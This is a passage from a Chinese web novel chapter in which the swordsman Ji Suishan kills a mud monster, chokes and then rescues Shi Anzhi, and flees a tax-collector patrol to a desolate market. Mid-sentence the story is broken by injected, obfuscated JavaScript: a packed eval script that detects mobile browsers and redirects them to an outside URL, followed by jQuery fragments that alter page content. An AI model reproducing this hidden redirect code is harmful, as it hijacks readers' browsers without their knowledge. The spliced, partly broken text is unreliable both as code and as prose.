季随山站在原地，连动作都未曾改变，只是轻微地侧了侧头，避开了飞溅过去的泥点。
他注视着面前向他逼近、身形逐渐放大的污泥怪物，眼里没有丝毫波动，既无恐惧也无厌恶。就如同在看着一件已经看过千万次的死物一般，神色中唯有一片麻木的冰冷。
怪物冲过了安全距离，两臂和他几乎只有方寸之差。季随山终于在这时动了，非常微小的一个动作，侧过身子，手臂仿佛只是随意地挥过。
长刀的刀光一闪而逝。
那把刀明明是纯粹的黑色，但刀光显现之时，还是展现出令人目眩神迷的色彩。时安之下意识地眯了下眼睛，再睁开时，刀已落下，刚才的一切都像是错觉一样猝然结束。
怪物的动作被凝滞在半空。
它蠕动着僵硬的面庞，发出“啊，啊”的响声，一条锋利的黑线横亘在它的脖颈上。
紧接着，头颅坠下。
“噗……”
水囊破裂一般的声音响起，无头的躯体轰然坍塌，粘稠的泥浆内脏随着哗啦一声，全部泼洒在石板路上。
愣是把眼前的污泥塘填得更大了些。
“……哇。”李非鹤发出惊叹。
“……好恶心。”时安之表示看得难受。
季随山转过身，目光扫过巷口探出的这一左一右两个脑袋，在时安之脸上略略一停。
依然没带什么情绪，但时安之却觉得这道视线里写满了“不是要让我看答案吗怎么你的答案就是缩到墙后去当乌龟”。虽然知道对方可能并不是这个意思，他还是有点尴尬，轻咳一声，从墙后面走了出来。
“季先生，谢谢。”他低着头很有礼貌道。
谢谢你，你人好，别砍我。
“铮”的一声，黑色的长刀再次入鞘。时安之又悄悄松一口气。
还好还好，这次也没被杀。
“谢谢您帮忙解围，阿尔法前辈。”李非鹤也在旁边跟着道谢。纵使他有点疑惑，季随山明明只是在攻击指向自己时做出了正当防卫的举动，完全没有半分要帮他们两个的意思，究竟为什么要和这人道谢，但是……但是先跟着做吧。
然而他话音刚落，季随山突然猛地抬起了头。李非鹤面色一凛，下意识要后退，就听后者望着前方的主街道，冷冷开了口：
“还没完呢。”
下一秒，整齐划一的脚步声从街道那头传来。每双脚都穿着皮靴，步伐极度的统一，听不出究竟有多少人。但很快那声音就越来越响，也越来越近，随即一排穿着同样的金边制服、提着大面包篮的人出现在了街道尽头。
在看到巷口三个人的同时，那支队伍就整齐地停步了。所有的金边制服都转过头，盯着他们，眼神空洞。
“发现可疑人员，曾袭击落单征税官。”领头的一个人用僵硬的声线说。
“我们不是……”李非鹤急忙道。
“可疑人员袭击征税官，必须付出代价。”领头没有一点反应，仍旧继续说。
“刷”地一声，所有的金边制服都抽出了佩剑。
“人有点多。”时安之数了一下，冷静道，“我们最好是撤退，不要在这里浪费太多时间。毕竟任务目标只是抵达教堂而已。”
“嗯……同意，先跑吧，路上再具体了解去教堂的路线。”李非鹤响应。
“……”季随山没反应。
时安之和李非鹤对视了一眼，心里都有点紧张，看起来「阿尔法」完全没有听从他们的想法一起行动的意思。按照此前的情报，此人是个绝对的独行侠，从来没见过他有队友，遇到眼前这种情况，恐怕他惯常的做法是……直接杀出去。
他杀出去了，我们怎么办？还是要分路？各跑各的？
李非鹤的眼神已经显示出他的想法：到了这个份上，他还是更愿意自己先撤。
时安之不太赞同。
就目前的观察来看，这个世界虽然有些像是末日前的欧式童话，但并没有童话的天真单纯，反而隐藏着极大的危险性。不管是穿着金边制服的征税巡逻队，还是人踩进污泥塘后转化成的污泥怪物，这些世界线NPC都对租客展现出了一定的攻击倾向。
时安之对自己的战斗力没什么自信，而李非鹤似乎也不是一个体力型选手。此外，李非鹤对于他来说，依然是个突然冒出来的陌生人，他不想把自己的信任完全交到陌生人手里。
能三个人一起走，无论从战斗力的提升还是关系的制衡上看，都是更好的选择。
唯一的问题是，这个战斗力最高的人不愿意跟他们走。
“季先生。”时安之斟酌着开口。
“这些穿制服的人不是刚才那种无理智的怪物，而是规则中提到过的征税官。如果发生直接冲突，即便能赢，也可能引发无法预料的连锁反应，这会让我们的任务变得更麻烦。”
“现在最经济的办法，是和我们一起先撤退，了解清楚这个世界的情况再做打算。”
季随山头也没回。时安之以为他根本没听，刚准备更进一步，编点别的理由，却突然被他打断道：
“他让你先走，你为什么不走？”
时安之怔了一下，看了眼身边的李非鹤。明明只是表露出了一点要分路先撤退的意图而已，居然就被发现了吗？「阿尔法」察言观色的能力并不像想象中的那么弱啊。
还问我为什么不走？
要听实话吗？
“因为对我来说，能带上你一起撤退，也是最经济的办法。”时安之非常诚实地坦白。
“……”
季随山终于转头，用某种难辨情绪的目光看了他一眼。
此时征税官的巡逻队还在渐渐逼近，皮靴的脚步近在咫尺，几乎已经能看清这些NPC一个模子刻出来般的、如出一辙的面容眉眼。
李非鹤盯着那些金白色的身影，焦急道：“他们要过来了！”
“怎么样，对我们两个来说都能收益最大化的办法，要不要采纳？”时安之没有去看巡逻队，只是看着季随山，语速加快了几分。
季随山还是没有说话。
但他突然动了。
迅疾如闪电一般——他骤然出手，没有去拔背在身后的刀，而是掐住了时安之的脖子。
“前辈？！”李非鹤惊呼。
“……”季随山的手劲很大，虽然没有下死手，时安之还是呼吸困难，憋得脸色都开始变红。他试图集中思绪，但脑子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283937|198402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里混沌一片，完全没办法说出来一个字。
他没想到的是，就在下一秒，季随山忽然又松开了手。
“咳！咳咳。”
时安之双手捂住脖子，脸色由红转白，一阵猛咳。
等他抬头时，看见季随山正垂着眼，以一种难以言喻的微妙神情，盯着自己刚才掐住他脖子的那只手。这还是迄今为止的第一次，「阿尔法」那张结冰似的脸上，出现了一道鲜明的裂痕：
惊讶，诧异，甚至还带着一点……匪夷所思。
“前辈！时先生！”李非鹤又在旁边喊，“我们真的必须得走了！”
巡逻队逼至眼前，领头的佩剑已经挥落，咫尺之遥，几乎就要斩到他们脚下。
剑光闪过的瞬间，季随山猛然从那种古怪的停滞中惊醒。他不再盯着自己的手，而是换了极度复杂的眼神，重新看了时安之一眼。
“走。”
他压根就没理会已经冲到跟前的巡逻队，而是一把抓住了时安之的手腕，折身朝着主街道的反方向冲去。
时安之还没缓过气，捂着脖子，一头雾水。就这样被拽着转眼冲出去几十米。
李非鹤倒是先反应过来，虽然完全搞不懂状况，还是叫了声：“等等我！”也跟着追了上去。
征税官的脚程比之前的污泥怪物要快上不少，但相比季随山的速度还差着一截，这些NPC似乎仍想保持统一的冲锋队形，结果反而拖慢了追赶的进度。李非鹤后出发，也慢慢拉开了和巡逻队的距离，三个人就如此乱七八糟地跑着，离开了主街道冲进另一条小巷，绕过不时出现的污泥塘，在巷弄之间绕来绕去。
身后的追兵声渐渐被距离削弱了。最后，他们从一个堆满废弃木箱的窄巷出口冲出，进入了一片相对开阔的区域。
季随山终于慢下来，停了脚步。
而时安之已经快要跑死了——他一下挣脱季随山的手，扶着膝盖好一阵猛喘，面色发青，差点把自己的肺都呕出来。本来他还想问这人点什么的，但实在抽不出半点力气，停步之后没有原地趴下都是源自他强大的自尊心。
没过多久，李非鹤也跟了上来，微微喘息着问道：“怎么回事？……刚才你们到底发生什么了？”
“……”无人回应。
季随山一声不吭。时安之根本没力气答话，并且他自己比李非鹤还要懵逼。
“……好吧。”李非鹤见状，默默把目光转开，转而观察起四周：
“这是什么地方？看起来好像……是个……市场？”
时安之缓过半晌，才闻声抬起头。
与一般想象中的人声鼎沸不同，眼前这个所谓的市场，显得异常空旷，甚至死寂。
地面是坑洼不平的泥土，依然分布着大大小小的污泥塘。不远处排着两列用破烂草席和木架搭建起的摊位，门面黑洞洞的，宛如一只只盲眼，冷漠地注视着外围的一切。
有一些稀稀拉拉的人影，在摊位之间缓慢移动着。他们大多都衣衫褴褛，埋着脑袋，彼此没有任何交流。
极度诡异的一副景象。
与此同时，怀表在口袋中微微震动起来——
【您已进入支线地点：交易市场。】